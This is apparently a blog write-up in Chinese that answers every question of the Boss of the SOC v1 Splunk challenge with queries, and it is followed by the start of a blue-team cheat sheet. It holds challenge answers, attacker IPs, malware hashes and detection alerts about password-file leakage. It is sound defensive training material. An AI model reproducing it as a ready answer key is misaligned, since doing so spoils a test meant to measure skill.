Q1 : This is a simple question to get you familiar with submitting answers. What is the name of the company that makes the software that you are using for this competition? Just a six-letter word with no punctuation.

因為題目給的環境是 Splunk，這邊回答 splunk 即可。

Ans : splunk

Q2 : Web Defacement: What content management system is imreallynotbatman.com likely using? (Please do not include punctuation such as . , ! ? in your answer. We are looking for alpha characters only.)

題目想要找出 imreallynotbatman.com 網站使用了什麼 CMS 系統。

因此我們會用到 Search 功能。

來到 Search & Report 頁面在 Search 欄位搜尋：

1
index="botsv1" imreallynotbatman.com

在 Splunk 收到日誌或事件後，會根據設定儲存在不同的 index
這段搜尋語法的意思是在資料索引為botsv1中，找出字串中包含 imreallynotbatman.com。
data indexes 可以在 Setting-> DATA -> Index 中得知

看第一個 Log 就可以發現使用的是 joomla。

ans : joomla

Q3 : Web Defacement: What is the likely IP address of someone from the Po1s0n1vy group scanning imreallynotbatman.com for web application vulnerabilities?

接下來他想要找的是 Po1s0n1vy 用來掃描 imreallynotbatman.com 的 IP 是什麼？

有一個線索是知道這個 IP 有進行網頁漏洞掃描，有一個方向是我們可以使用在 Day17 提到的 Suricata，它會產生網路連接的 Log，因此我們搜尋的範圍可以限制在 Suricata 的 log 下，搜尋指令如下：

1
index=botsv1 sourcetype=suricata http.hostname=imreallynotbatman.com

然後我們想要專注的是來源 IP，因此我們會需要用到 table 語法，它可以將我們想要的欄位單獨拉出來做一張表格，讓我們可以專注在分析這個欄位上。

1
2
index=botsv1 sourcetype=suricata http.hostname=imreallynotbatman.com 
| table src_ip

這邊我們獲得了每個 Suricata log 的來源 IP，接下來進行統計，因為我想要得到的是這個 IP 出現幾次，數量很多會有很高的機率是進行掃描，所以接下來會使用到 stats 語法，它提供了一些基本的統計功能。

1
2
3
index=botsv1 sourcetype=suricata http.hostname=imreallynotbatman.com 
| table src_ip 
| stats count by src_ip

這樣就看得出來答案就是 40.80.148.42，另外如果想要數量由大排到小，可以使用 sort 語法，預設是由小排到大，加上 - 可以讓它變成由大排到小。

1
2
3
4
index=botsv1 sourcetype=suricata http.hostname=imreallynotbatman.com 
| table src_ip 
| stats count by src_ip 
| sort -count reverse

ans : 40.80.148.42

Q4 : Web Defacement: What company created the web vulnerability scanner used by Po1s0n1vy? Type the company name. (For example, “Microsoft” or “Oracle”)

這題想要搜尋到他們使用的 scanner 工具是什麼。

一樣我們可以使用 Suricata 工具，它除了可以產生網路連接 log 之外，還可以根據自訂規則產生警報，如抓到某個掃描工具的 Signature。

所以我們可以針對 Suricata 產生的 alert 去分析：

1
index=botsv1 sourcetype=suricata http.hostname=imreallynotbatman.com src_ip=40.80.148.42 alert

signature 欄位顯示偵測到的是什麼相關操作，因此我們用 table 專注去看 alert.signature 有沒有相關的線索：

1
2
index=botsv1 sourcetype=suricata http.hostname=imreallynotbatman.com src_ip=40.80.148.42 alert
| table alert.signature

接下來就可以找到這個 value：

1
ET SCAN Acunetix Accept HTTP Header detected scan in progress

可以看出 Acunetix 就是我們需要的答案。

ans : Acunetix

Q5 : Web Defacement: What IP address is likely attempting a brute force password attack against imreallynotbatman.com?

要找到哪個 IP 在對 imreallynotbatman.com 進行暴力破解。

需要對網站進行帳號密碼的暴力破解，會需要用到 POST 的 method，我們可以針對 POST 操作做查看，並且也會需要知道 POST 帶的資料，確認是不是在做暴力破解，查詢可以用以下指令：

1
2
index=botsv1 http_method=POST dest_ip=192.168.250.70 sourcetype=stream:http
| table src_ip, form_data, uri

sourcetype=stream:http 代表是拿 Splunk Stream app 所收集到並且屬於 HTTP 流量資料，而 dest_ip=192.168.250.70 是 imreallynotbatman.com 的 IP，在前幾題的操作可以得知。

這邊可以看出來是 23.22.63.114 在進行暴力破解。

ans : 23.22.63.114

Q6 : Web Defacement: What was the first brute force password used

這題要獲得第一個暴力破解嘗試的密碼。

這題可以使用 sort 將時間排序：

1
2
3
index=botsv1 http_method=POST dest_ip=192.168.250.70 sourcetype=stream:http src_ip=23.22.63.114
| table src_ip, form_data, uri _time
| sort _time

看到第一列的 password 參數是 12345678。

ans : 12345678

Q7 : Web Defacement: What is the name of the executable uploaded by Po1s0n1vy? Please include the file extension. (For example, “notepad.exe” or “favicon.ico”)

這題要找的是 Po1s0n1vy 上傳的執行檔的檔名是什麼。

在 HTTP 中，如果上傳一個檔案會使用 multipart/form-data，代表會將不同 type 的資料透過一次請求傳送出去，因此我們可以用 multipart/form-data 縮小我們的搜尋範圍，另外語法也支援 regex，在搜尋執行檔上比較方便：

1
index=botsv1 http_method=POST dest_ip=192.168.250.70 sourcetype=stream:http multipart/form-data *.exe

可以發現到上傳的執行檔檔名為 3791.exe。

ans : 3791.exe

Q8 : Web Defacement: What is the MD5 hash of the executable uploaded?

這題問 3791.exe 的 MD5 值是多少。

要取得 MD5 的值，會需要看關於 winlog 的紀錄，這邊會提到一個工具 - Sysmon，它會記錄系統內發生的重要事件，包含 Process Create、Network Connect、檔案建立與變更、Registry Modification。

以下是 Sysmon 的 Event ID：

Sysmon

Event ID說明
1Process Create（程式啟動）
2File creation time changed（時間戳被修改）
3Network connection（TCP 連線）
5Process Terminate（程式終止）
6Driver Loaded（驅動載入）
7Image Loaded（DLL載入）
8CreateRemoteThread（遠端執行緒注入）
9RawAccessRead（磁碟原始存取）
10ProcessAccess（程式存取他人記憶體）
11File Create（檔案建立）
12Registry Key Create（註冊表鍵建立）
13Registry Value Set（註冊表值修改）
14Registry Key Delete（註冊表鍵刪除）
15FileCreateStreamHash（建立 ADS）
22DNS Query（DNS 查詢事件）
23File Delete（檔案刪除）
25Process Tampering（程式記憶體被修改）
26File Deleted and Overwritten（防止取證）
255Sysmon 設定被修改（Config change）

其中 Event ID = 1 有 MD5 可以查看，那這樣我們就搜尋 3791.exe 的執行紀錄，獲得它的 MD5 值：

1
index=botsv1 source = WinEventLog:Microsoft-Windows-Sysmon/Operational 3791.exe EventCode=1

而我們專心看這個紀錄：

它的 ParentCommandLine 是 cmd.exe/c "3791.exe2&gt;&amp;1，以及這邊顯示的 <DataName='Image'>C:\inetpub\wwwroot\joomla\3791.exe</Data><DataName='CommandLine'>3791.exe，代表這個紀錄是關於 3791.exe 的資訊，所以往後面看它的 MD5 值是 AAE3F5A29935E6ABCC2C2754D12A9AF0。

ans : AAE3F5A29935E6ABCC2C2754D12A9AF0

Q9 : Web Defacement: What was the correct password for admin access to the content management system running “imreallynotbatman.com”?

這題想要問是哪個密碼成功進入了 imreallynotbatman.com。

我們可以在解 Q5 的時候知道登入的頁面是在 /joomla/administrator/index.php，並且它是用暴力破解的方式嘗試登入系統，所以如果有一個密碼與其他登入次數比其他的還多就有可能會是正確的密碼，但是它的密碼是放在 form_data 欄位，這個欄位會包含其他的文字資訊，因此我們會需要用到 rex 語法：

1
2
3
index=botsv1 dest_ip=192.168.250.70 sourcetype=stream:http http_method=POST uri=/joomla/administrator/index.php
| rex field=form_data "passwd=(?<pass>\w+)"
| stats count by pass

rex 的欄位說明如下：

  • field=form_data：表示只在事件的 form_data 欄位內容中執行正規表達式（而不是整個 _raw）。
  • “passwd=(?\w+)”：正規表達式本體：
    • passwd=：字面匹配字串 passwd=（例如 HTML 表單或 HTTP body 裡的參數名）。
    • (?\w+)：命名捕獲群組，會把匹配到的內容放到 Splunk 欄位 pass 中。
      • \w+ 表示一或多個「字母、數字或底線（underscore）」。

原本的 form_data 長這樣：

1
username=admin&task=login&return=aW5kZXgucGhw&option=com_login&passwd=topgun&49e63c55a9730eee52c7ea0448de3a01=1

因此它會提取 passwd= 後面的字串，直到碰到不是字母、數字或底線為止，然後它會變成單獨的 pass 欄位。

1
2
3
4
index=botsv1 dest_ip=192.168.250.70 sourcetype=stream:http http_method=POST uri=/joomla/administrator/index.php
| rex field=form_data "passwd=(?<pass>\w+)"
| stats count by pass
| sort -count

ans : batman

Q10 Web Defacement: What is the name of the file that defaced the imreallynotbatman.com website? Please submit only the name of the file with the extension (For example, “notepad.exe” or “favicon.ico”).

題目想問是哪個檔案名稱污染了 imreallynotbatman.com 網頁。

這邊應該是想要問情境 1 當中進入網站出現一張圖片。

代表它之前可能會去下載過，因此可以用以下指令查詢它之前請求的頁面：

1
2
index=botsv1 sourcetype=stream:http src_ip=192.168.250.70 
| table site src_headers

這邊可以看到它去一個網頁請求 poisonivy-is-coming-for-you-batman.jpeg 圖片，這個就是答案。

ans : poisonivy-is-coming-for-you-batman.jpeg

Q11 : Web Defacement: This attack used dynamic DNS to resolve to the malicious IP. What is the fully qualified domain name (FQDN) associated with this attack?

這題想要問是哪個FQDN 在進行攻擊

在Q10 可以看到 192.168.250.70 對prankglassinebracket.jumpingcrab.com 請求圖片，而prankglassinebracket.jumpingcrab.com 就是我們想要的答案

ans : prankglassinebracket.jumpingcrab.com

Q12: Web Defacement: What IP address has Po1s0n1vy tied to domains that are pre-staged to attack Wayne Enterprises?

從Q11 我們可以得到他去請求的 FQDN 叫做 prankglassinebracket.jumpingcrab.com ，我們可以再確認一下這個 FQDN 的 IP 是什麼

1
2
index=botsv1 sourcetype=stream:http src_ip=192.168.250.70
| table src_ip,dest_ip,site,src_headers

最下方可以看到 23.22.63.114 對應的 FQDN 就是 prankglassinebracket.jumpingcrab.com ，23.22.63.114 在Q5 我們確定它是在進行暴力破解登入後台，因此23.22.63.114 就是我們這題的答案

ans : 23.22.63.114

Q13 : Web Defacement: Based on the data gathered from this attack and common open-source intelligence sources for domain names, what is the email address most likely associated with the Po1s0n1vy APT group?

這題需要利用前面蒐集到的資料獲得 Po1s0n1vy APT 組織相關的電子郵件地址

總結一下我們目前得到的

  • 23.22.63.114 (prankglassinebracket.jumpingcrab.com) : 暴破密碼，送圖片
  • 40.80.148.42 : 掃描網頁漏洞

接下來我將23.22.63.114丟進 VirusTotal ，可以看到它之前解析為Po1s0n1vy.com

而在情境敘述中的備忘錄也有提到Po1s0n1vy.com這個網站

接下來可以使用 whoxy 這個網站，它可以幫我們查關於這個網域的資訊，另外也可以查詢誰之前擁有了這個網域。

查詢結果如下

https://www.whoxy.com/po1s0n1vy.com#history

這邊可以看到 Email 是lillian.rose@po1s0n1vy.com

這邊不是其他的email 是因為題目給的格式是------*.---*@---------*.---

ans : lillian.rose@po1s0n1vy.com

Q14 : Web Defacement: GCPD reported that common TTP (Tactics, Techniques, Procedures) for the Po1s0n1vy APT group, if initial compromise fails, is to send a spear-phishing email with custom malware attached to their intended target. This malware is usually connected to Po1s0n1vy’s initial attack infrastructure. Using research techniques, provide the SHA256 hash of this malware.

題目說GCPD 報告指出Po1s0n1vy 如果初始的攻擊失敗，接下來會寄釣魚信件並戴上惡意附件，而這個惡意附件的程式會常常與Po1s0n1vy 的基礎攻擊設施做溝通，想問這個惡意程式的 SHA256

在 VirusTotal 中，關於 IP 會顯示之前出現惡意軟體與這個 IP 連線的功能，因此我們將23.22.63.114 丟進 VirusTotal 中，並選擇 Relation 頁面。

那經過嘗試答案會是 MirandaTateScreensaver.scr.exe ，點進去後就會拿到這個惡意程式的 sha256

ans : 9709473ab351387aab9e816eff3910b9f28a7a70202e250ed46dba8f820f34a8

Q15 : Web Defacement: What is the special hex code associated with the customized malware discussed in the previous question? (Hint: It’s not in Splunk)

這題想要得知前一題的惡意程式的special hex code

這題會需要看VirusTotal 的Community 頁面，因為有些人會在這邊貼出報告以及special hex code

ans : 53 74 65 76 65 20 42 72 61 6e 74 27 73 20 42 65 61 72 64 20 69 73 20 61 20 70 6f 77 65 72 66 75 6c 20 74 68 69 6e 67 2e 20 46 69 6e 64 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 61 73 6b 20 68 69 6d 20 74 6f 20 62 75 79 20 79 6f 75 20 61 20 62 65 65 72 21 21 21

Q16 : Web Defacement: One of Po1s0n1vy’s staged domains has some disjointed “unique” whois information. Concatenate the two codes together and submit them as a single answer.

題目說Po1s0n1vy 暫時架設的 domain 當中包含兩段分開出現的「唯一代碼／字串」，把那兩段代碼 串接成一個單一答案 提交

我們在 Q13 時用 VirusTotal 掃描這個 IP 它之前關聯的 domain，總共有以下 domain

我們每個都可以用 whoxy 查看

答案會在 waynecorpnc.com 中，但是現在已經找不到該domain 的詳細資訊了，所以我參考了其他人的 writeup ，答案會在 company_name 與 mailing_address 中

source : https://jk105.gitlab.io/infosec/post/cyberdefenders\_bossofthesoc1/

ans : 31 73 74 32 66 69 6E 64 67 65 74 73 66 72 65 65 62 65 65 72 66 72 6F 6D 72 79 61 6E 66 69 6E 64 68 69 6D 74 6F 67 65 74

Q17 : Web Defacement: One of the passwords in the brute force attack is James Brodsky’s favorite Coldplay song. Hint: we are looking for a six-character word on this one. Which is it?

這題問的是爆破的密碼中有一個是James Brodsky’s favorite Coldplay song ，要找出那個密碼

這題我們可以嘗試使用 splunk 的 lookup 功能，Splunk 的 lookup 是一種 查表功能，可以把外部資源（例如 CSV、KV Store 或自定義資料表）中的欄位值與事件資料中的欄位做匹配，然後把匹配到的欄位值加入到事件資料中以豐富資料內容

首先我們需要先獲得 Coldplay 的所有歌，Kaggle 網站中有人有整理出來，可以免費下載

接下來我們要匯入到 splunk 中，選擇Settings->Lookups

進入 Lookups頁面後我們要先新增 Lookup table ，點擊第一個的Add new ，將剛剛的下載的 csv 檔丟入

按下Save 之後要記得改權限，預設應該是Private ，要記得改成 Global 。

接下來要定義這個表的路徑以及欄位輸出方式

點選 Lookups 的首頁的第二行Add new ，接下來去指定剛剛丟進去的 csv 表，要記得開啟進階選項把 Case sensitive match 取消勾選

接下來就可以回到search 頁面使用 lookup 語法，匹配欄位資料

1
2
3
4
5
index=botsv1 dest_ip=192.168.250.70 sourcetype=stream:http http_method=POST uri=/joomla/administrator/index.php
| rex field=form_data "passwd=(?<pass>\w+)"
| lookup Coldplay name as pass output duration
| search duration=*
| table pass duration

lookup 的語法解說如下

  • lookup Coldplay：呼叫名為 Coldplay 的 lookup 表格
  • name as pass：將當前搜尋結果中的pass欄位對應到對應表的name欄位
  • output duration：從 lookup 表格輸出 duration 欄位至事件資料

而加上search duration=* 是因為只有被對應到的 pass 會出現duration，因此加上這個保證出來的會是匹配到的

題目提示是六個字，因此是答案是yellow

ans : yellow

Q18 : Web Defacement: What was the average password length used in the password brute-forcing attempt? (Round to a closest whole integer. For example “5” not “5.23213”)

題目想要我們計算出所有嘗試的密碼長度

要計算 password 的平均長度，我們會需要使用到 eval 與 stats 幫助我們計算，eval 提供了基本的運算操作以及豐富的函式，官方doc

1
2
3
4
5
index=botsv1 dest_ip=192.168.250.70 sourcetype=stream:http http_method=POST uri=/joomla/administrator/index.php
| rex field=form_data "passwd=(?<pass>\w+)"
| eval length = len(pass) 
| stats avg(length) as avglength 
| eval rounded = round(avglength, 0)

我們將pass提取出來後，使用len計算每一個pass 的長度，接下來用stats 提供的avg 計算所有欄位的平均長度，最後在使用 eval 的 round 幫我們做四捨五入操作

答案計算出來為 6

ans : 6

Q19 : Web Defacement: How many seconds elapsed between the brute force password scan identified the correct password and the compromised login? Round to 2 decimal places.

題目想要問識別出正確密碼到被成功登入之間經過了多少秒

我們在 Q9 得知了被爆破出來的密碼是 batman，因此我們先用 search 語法將 batman 密碼的請求先篩出來

1
2
3
index=botsv1 dest_ip=192.168.250.70 sourcetype=stream:http http_method=POST uri=/joomla/administrator/index.php
| rex field=form_data "passwd=(?<pass>\w+)"
| search pass="batman"

Time 欄位相減的秒數為 92.17

ans : 92.17

Q20 : Web Defacement: How many unique passwords were attempted in the brute force attempt?

題目想要問攻擊者嘗試了多少種密碼

這邊我們可以使用 stats 當中 dc 這個函式，dc 是 Splunk 中的去重計數函式 ，全稱為 “distinct count”

1
2
3
index=botsv1 dest_ip=192.168.250.70 sourcetype=stream:http http_method=POST uri=/joomla/administrator/index.php
| rex field=form_data "passwd=(?<pass>\w+)"
| stats dc(pass) as "attempt"

答案出來為412

ans : 412

Q21 : Ransomware: What fully qualified domain name (FQDN) makes the Cerber ransomware attempt to direct the user to at the end of its encryption phase?

題目敘述說惡意程式會讓使用者嘗試去請求 domain ，要找出FQDN

我想要先知道內部有哪些 IP 有在進行 DNS 查詢

1
2
3
index="botsv1" sourcetype="stream:dns"
| table src_ip
| stats count by src_ip

這邊知道192.168.2.50、192.168.250.100、192.168.250.20、192.168.250.40、192.168.250.70 這些內部 IP 有在進行 DNS 查詢，接下來我先看192.168.250.0/24 內 IP 查詢了哪些 domain，

1
2
index="botsv1" sourcetype="stream:dns" src_ip=192.168.250.0/24 
| table  src_ip,dest_ip,query{}

接下來會有很多其他的 DNS 記錄出來 我們可以點擊不可能是答案的 FQDN ，然後選擇 Exclude from result ，然後它就會在 Search 欄位中自動產出將此FQDN 排除查詢的語法。

經過層層篩選後最後查詢如下

1
2
index="botsv1" sourcetype="stream:dns" src_ip=192.168.250.0/24  "query{}"!="*.in-addr.arpa" "query{}"!="demo-01"  "query{}"!="*.authdns.ripe.net"  "query{}"!="*.microsoft.com" "query{}"=*.*.* "query{}"!="*.waynecorpinc.local"  "query{}"!="dns.msftncsi.com"  "query{}"!="*.globalrootservers.net" 
| table  src_ip,dest_ip,query{}

這邊可以看到 cerberhhyed5frqa.xmfir0.win 這個 FQDN，而這個網址在情境的圖片上有出現，因此是這題的答案

ans : cerberhhyed5frqa.xmfir0.win

Q22 : Ransomware: What was the most likely IP address of we8105desk in 24AUG2016?

題目想要問 we8105desk 這個 host 它最有可能的 IP 位置是什麼，時間限制在2016/08/24 中

首先先來調整時間，選擇時間並選擇 DataRange，調整為查詢08/24/2016 到 08/25/2016這段時間的資料

接下來查詢 host 為 we8105desk 的 source IP 記錄，因為是查詢 Sysmon 來源的關係所以是使用 SourceIp 當作查詢來源 IP

1
2
3
index=botsv1 host=we8105desk source=WinEventLog:Microsoft-Windows-Sysmon/Operational
| stats count by SourceIp 
| sort -count

這邊可以看到答案是 192.168.250.100

ans : 192.168.250.100

Q23 : Ransomware: Amongst the Suricata signatures that detected the Cerber malware, which one alerted the fewest number of times? Submit ONLY the signature ID value as the answer. (No punctuation, just 7 integers.)

這題想要問 Suricata 產生的警報，當中關於 Cerber malware 出現最少的 signature 是哪一個

可以用以下的語法查詢，將 signature 與 signature_id 抓出來

1
2
index=botsv1 sourcetype=suricata Cerber 
| table alert.signature alert.signature_id

可以很明顯的看到 ETPRO TROJAN Ransomware/Cerber Checkin 2 這個 signature 只出現一次，而它的 id 為2816763 ，則為答案

ans : 2816763

Q24 : Ransomware: The VBScript found in question 25 launches 121214.tmp. What is the ParentProcessId of this initial launch?

這題需要先Q25，可以先去看 Q25 的解題過程

題目敘述說在Q25 找到 關於VBScript 是 121214.tmp被執行了，請問啟動這個VBScript 的父進程 ID 是什麼？

可以先將ParentImage、ParentProcessId以及CommandLine 抓出來查看

1
2
index=botsv1 sourcetype=xmlwineventlog *.vbs
| table ParentImage ParentProcessId CommandLine

這邊可以很清楚的看到啟動121214.tmp 的父進程是 wscript.exe ，它的ID 為3968，這正是我們的答案

ans : 3968

Q25 : Ransomware: During the initial Cerber infection a VB script is run. The entire script from this execution, pre-pended by the name of the launching .exe, can be found in a field in Splunk. What is the length in characters of the value of this field?

題目敘述說當 Cerber 惡意程式執行時，初始會先執行 VB script，而這個 VB script 的產生包含前面啟動它的 exe 檔 可以在 Splunk 的其中一個欄位找到，最後問這個欄位裡面的值總共有多少 characters

看到題目敘述，可以直接聯想到的是 CommandLine 欄位，所以我們先把 EventLog 的 CommandLine 欄位抓出來，並且限制檔名為 .vbs

1
2
index=botsv1 sourcetype=xmlwineventlog *.vbs
| table CommandLine

可以看到下面一大串的 cmd.exe…….. 並且後面接 GSI=%APPDATA%\%RANDOM%.vbs 這邊就可以確定是題目所說。

接下來要計算裡面有多少字元，使用的是 eval 的 len 函式

1
2
3
index=botsv1 sourcetype=xmlwineventlog *.vbs
| eval cmdlenght=len(CommandLine)
| table CommandLine cmdlenght

這邊它幫我們計算出答案為4490

ans : 4490

Q26 : Ransomware: The malware downloads a file that contains the Cerber ransomware crypto code. What is the name of that file?

題目敘述說惡意程式去下載一個包含 Cerber 勒索病毒加密程式碼的檔案，它的檔案名稱是什麼

我先把 192.168.250.100 (we8105desk) HTTP 的 GET 請求全部先抓下來

1
2
index=botsv1 source="stream:http" src_ip=192.168.250.100 http_method=GET
| table  src_ip,dest_ip,site,src_headers

當中最可疑的是它向 solidaritedeproximite.org 請求一個 mhtr.jpg 檔案

我們單獨看一下關於有包含 mhtr.jpg 的記錄

1
index=botsv1 mhtr.jpg

發現到有 fgt_utm 的記錄跳出來，在 Splunk 中通常指的是來自 FortiGate 防火牆的 Unified Threat Management 安全日誌類型的 sourcetype，用來記錄防毒、入侵防禦、網頁過濾等安全事件。

我們使用 fgt_utm 記錄，並把 filename,msg,analyticscksum 欄位抓出來

1
2
index=botsv1 sourcetype="fgt_utm" mhtr.jpg
| table filename,msg,analyticscksum

可以看到它偵測 mhtr.jpg 為惡意檔案，並且有 sha256 給我們，我們將它丟入 VirusTotal

可以看到它是惡意程式，那 mhtr.jpg 就是我們的答案

ans : mhtr.jpg

Q27 : Ransomware: Now that you know the name of the ransomware’s encryptor file, what obfuscation technique does it likely use?

題目問 mhtr.jpg 使用了何種混淆技術

jpg 可以被辨識出惡意程式，有很大的可能使用了隱寫術 (Steganography)，將惡意程式隱藏在圖片中，因此答案就是 Steganography

ans : Steganography

Q28 : Ransomware: What is the name of the USB key inserted by Bob Smith?

題目問 Bob Smith 插入的 USB 名稱是什麼

在 Splunk 中提供了一個 sourcetype，名稱為 winregistry，用來監控 Windows 註冊表 key／value 的建立、修改、刪除等操作。

另外關於 USB 的其中一個註冊表路徑會在 SYSTEM\ControlSet001\USBSTOR，主要用途是記錄曾經連接過的 USB 裝置資訊，例如製造商、產品、序號、FriendlyName 等等

因此我們將 USBSTOR 底下的 value 抓出來，並且用 dedup 將重複的 value 刪除，只保留第一筆出來的值

1
2
index=botsv1 source="winregistry" host=we8105desk USBSTOR
| table registry_value_data | dedup registry_value_data

這邊就可以看到 USB 的名稱為 MIRANDA_PRI

ans : MIRANDA_PRI

Q29 : Ransomware: Bob Smith’s workstation (we8105desk) was connected to a file server during the ransomware outbreak. What is the IP address of the file server?

題目敘述 Bob Smith’s workstation 在 ransomware 執行期間去連線了 file server，請問 file server 的 IP 是什麼？

連線 file server 的 protocol 可能會有 SMB 或者 FTP，FTP 是空的，那我們可以著重去看 SMB

1
2
3
index=botsv1 sourcetype="stream:smb" src_ip=192.168.250.100
| table dest_ip
| dedup dest_ip

接下來要再更確認一點，file server 可能會進行登入，因此我們加上 login=”bob.smith”

1
2
3
index=botsv1 sourcetype="stream:smb" src_ip=192.168.250.100 login="bob.smith"
| table dest_ip
| dedup dest_ip

這樣就確定了 192.168.250.20 是 file server

ans : 192.168.250.20

Q30 : Ransomware: How many distinct PDFs did the ransomware encrypt on the remote file server?

題目問有多少個遠端 pdf 被加密了

我們在上一題知道 file server 的 IP 為 192.168.250.20，我們另外先拿一下它的 domain name

1
2
index=botsv1 sourcetype="stream:smb" src_ip=192.168.250.100 dest_ip=192.168.250.20 path=*
| table path

這邊得知了 domain name 為 we9041srv.waynecorpinc.local

首先我先搜尋 wineventlog 中有沒有關於 .pdf 的記錄

1
index=botsv1 sourcetype="wineventlog" *.pdf

發現到有，並且是從 192.168.250.100 請求 we9041srv.waynecorpinc.local 的一個 pdf
因此我們將所有關於這個的記錄抓下來，並用 stats 中的 dc 幫我們算總共有幾個檔案

1
2
index=botsv1 sourcetype="wineventlog" *.pdf  EventCode=5145 Source_Address=192.168.250.100
| stats dc(Relative_Target_Name)

總共是 257 個，則 257 為答案

ans : 257

Q31 : Ransomware: The Cerber ransomware encrypts files located in Bob Smith’s Windows profile. How many .txt files does it encrypt?

這題問的是在 Bob Smith 的電腦上有多少的 .txt 檔被 ransomware 鎖起來了

首先我們先使用 Sysmon 將針對 Bob Smith 內的 .txt 的操作抓下來，並且看是哪個檔案對 .txt 操作

1
2
index=botsv1 source="wineventlog:microsoft-windows-sysmon/operational" TargetFilename="C:\\Users\\bob.smith.WAYNECORPINC\\*.txt"
| table Image TargetFilename

可以看到是有一個 osk.exe 對 .txt 檔做操作，

那我們可以 EventID=1 去看這個 osk.exe 的 hash 

1
index=botsv1 source="wineventlog:microsoft-windows-sysmon/operational" EventCode=1 Image="C:\\Users\\bob.smith.WAYNECORPINC\\AppData\\Roaming\\{35ACA89F-933F-6A5D-2776-A3589FB99832}\\osk.exe"

得到的 MD5 hash 為 EE0828A4E4C195D97313BFC7D4B531F1，丟進給 VirusTotal 後

可以確定它是惡意程式

接下來針對這個 osk.exe 去計算所有 .txt 的數量

答案出來為 406，則 406 為這題的答案

ans : 406

Q32 : Ransomware: What was the first suspicious domain visited by we8105desk in 24AUG2016?

題目問 we8105desk 在 2016/08/24 時訪問了哪個可疑 domain？

我們在 Q26 中發現它會去向 solidaritedeproximite.org 請求 jpg 檔，而 solidaritedeproximite.org 則為這題的解答。

ans : solidaritedeproximite.org

總結

今天分享了 Boss Of The SOC v1 的 Q1 ~ Q10 的解題過程，當中分享了一些 Splunk 的用法以及 Threat Hunting 的過程，明天會繼續分享 Boss Of The SOC v1 剩餘題目。

]]> Boss Of The SOC v1 前10題解題過程分享，包含Splunk搜尋語法與威脅狩獵實作 🛡️ BlueTeam CheatSheet https://yunshiuan.com/2025/08/12/BlueTeamCheatSheet/ 2025-08-12T10:50:59.000Z 2026-04-29T11:34:17.737Z In this note, I organize the commons blue team skill

Event code

Winlog

Event ID說明
4104Windows powershell 執行日記
4624登入成功
4625登入失敗
4648明確帳號登入（如 RunAs）
4672特權登入（如 admin 登入）
4634使用者登出
4662Active Directory (AD) 物件上執行了某項操作 ( 偵測 Dscync ，尤其是一般使用者存取時)
4688建立新程序（程式啟動）
4689程式結束
4697安裝新服務（常用於惡意持久化）
4720建立新帳號
4722啟用帳戶
4723嘗試變更自己的密碼
4724嘗試為他人變更密碼
4725停用帳戶
4726刪除帳戶
4728使用者被加入全域群組
4732使用者被加入本機群組
4768Kerberos TGT 請求
4769Kerberos 服務票證請求
4776NTLM 驗證請求
5140存取共用資料夾
5156防火牆允許的網路連線（NetConn 事件）
7045安裝服務（System log，也可監控持久化）

Sysmon

  • 可以看到更底層的資訊，包含檔案的更新或者創建等等
  • 可以用 Sysmon view 查看
Event ID說明
1Process Create（程式啟動）
2File creation time changed（時間戳被修改）
3Network connection（TCP 連線）
5Process Terminate（程式終止）
6Driver Loaded（驅動載入）
7Image Loaded（DLL載入）
8CreateRemoteThread（遠端執行緒注入）
9RawAccessRead（磁碟原始存取）
10ProcessAccess（程式存取他人記憶體）
11File Create（檔案建立）
12Registry Key Create（註冊表鍵建立）
13Registry Value Set（註冊表值修改）
14Registry Key Delete（註冊表鍵刪除）
15FileCreateStreamHash（建立 ADS）
22DNS Query（DNS 查詢事件）
23File Delete（檔案刪除）
25Process Tampering（程式記憶體被修改）
26File Deleted and Overwritten（防止取證）
29FileExecutableDetected (新的 .exe .dll 產出偵測)
255Sysmon 設定被修改（Config change）

IDS/IPS

  • OSSEC

    • HIDS

  • Suricata

    • Suricata 是一個開源的入侵偵測系統（IDS）與入侵防禦系統（IPS），以深度封包檢測、流量分析與威脅偵測聞名。能使用 Suricata 的龐大規則集快速評估網路資料並辨識異常。

      指令如下

      1
      suricata -r B33F50up_blog.pcapng

      他會產生四個檔案

      • eve.json : Suricata的結構化日誌檔案，包含多種事件類型的詳細記錄
      • fast.log : Suricata 快速警報日誌，包含檢測到的安全威脅警報
      • stats.log : Suricata 運行統計資料，包含詳細的系統運行統計
      • suricata.log : Suricata 主要運行日誌，包含系統啟動和運行資訊

      以下是 fast.log 資訊

      1
      2
      08/09/2025-02:53:47.165861  [**] [1:2019284:3] ET ATTACK_RESPONSE Output of id command from HTTP server [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 192.168.1.125:5000 -> 100.112.165.2:60865
      08/09/2025-02:56:49.767871  [**] [1:2002034:13] ET ATTACK_RESPONSE Possible /etc/passwd via HTTP (linux style) [**] [Classification: Information Leak] [Priority: 2] {TCP} 192.168.1.125:5000 -> 100.112.165.2:61207

    • ls -lah /etc/suricata/rules/ see all rulus

    • suricata -r test.pcap create various logs(etc eve.json,fast.log…)

    • suricata --pcap=ens160 -vv Suricata’s (Live) LibPCAP mod

    • cat /var/log/suricata/old_eve.json | jq -c 'select(.event_type == "http")' | head -1 | jq quury example

  • RITA

  • Snort

    • example:
    1
    sudo snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq -R /home/htb-student/local.rules -r /home/htb-student/pcaps/cerber.pcap -A cmg
    1
    2
    sudo snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq \
    -r XXX.pcap
    1
    2
    sudo snort -c /root/snorty/etc/snort/snort.lua --daq-dir /usr/local/lib/daq \
    -i ens160

  • Zeek

    • Zeek 是一個開源的網路安全監控工具，以強大的資料記錄功能聞名。它能將原始的 pcap 封包檔轉換成結構化的日誌，方便在 Zeek 內查詢與分析，快速提供網路行為的概覽。

      指令如下

      1
      zeek -C -r B33F50up_blog.pcapng

      他會產生以下檔案

      • conn.log : 記錄了所有的網路連接
      • dns.log：記錄了所有的 DNS查詢活動
      • files.log：記錄了通過 HTTP 傳輸的檔案
      • http.log：這是一個 HTTP 協議的流量日誌，記錄了網頁瀏覽和API 請求
      • packet_filter.log：記錄了封包過濾器的配置

      以下是http.log 的形式

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      #separator \x09
      #set_separator,
      #empty_field(empty)
      #unset_field-
      #pathhttp
      #open2025-09-27-22-26-52
